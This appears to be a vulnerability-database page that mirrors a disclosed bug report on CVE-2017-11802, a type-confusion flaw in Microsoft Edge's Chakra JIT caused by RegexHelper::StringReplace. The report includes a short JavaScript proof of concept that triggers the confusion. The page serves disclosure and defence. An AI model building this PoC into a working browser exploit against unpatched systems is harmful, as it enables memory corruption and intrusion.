Lucene search
K

Microsoft Edge Chakra JIT Failed RegexHelper::StringReplace Call

🗓️ 14 Oct 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 64 Views

Microsoft Edge Chakra JIT failure in RegexHelper::StringReplace call for CVE-2017-1180

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft Edge Chakra JIT Failed RegexHelper::StringReplace Call Exploit
15 Oct 201700:00
zdt
ATTACKERKB
CVE-2017-11821
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11812
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11811
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11810
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11809
13 Oct 201713:29
attackerkb
Circl
CVE-2017-11802
17 Oct 201700:00
circl
CNVD
Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2017-30349)
11 Oct 201700:00
cnvd
Check Point Advisories
Microsoft Edge Scripting Engine Memory Corruption (CVE-2017-11802)
16 Oct 201700:00
checkpoint_advisories
CVE
CVE-2017-11802
13 Oct 201713:00
cve
Rows per page
` Microsoft Edge: Chakra: JIT: RegexHelper::StringReplace must call the callback function with updating ImplicitCallFlags   
  
CVE-2017-11802  
  
  
The "String.prototype.replace" method can be inlined in the JIT process. So in the method, all the calls which may break the JIT assumptions must be invoked with updating "ImplicitCallFlags". But "RegexHelper::StringReplace" calls the replace function without updating the flag. Therefore it fails to detect if a user function was called.  
  
  
The PoC shows that it can result in type confusion.  
  
PoC:  
function main() {  
let arr = [1.1, 1.1, 1.1, 1.1, 1.1];  
function opt(f) {  
arr[0] = 1.1;  
arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));  
arr[2] = 1.1;  
arr[3] = 1.1;  
}  
  
let <a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a> = () => '0';  
for (var i = 0; i < 0x1000; i++)  
opt(<a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a>);  
  
opt(() => {  
arr[0] = {};  
return '0';  
});  
  
print(arr[1]);  
}  
  
main();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation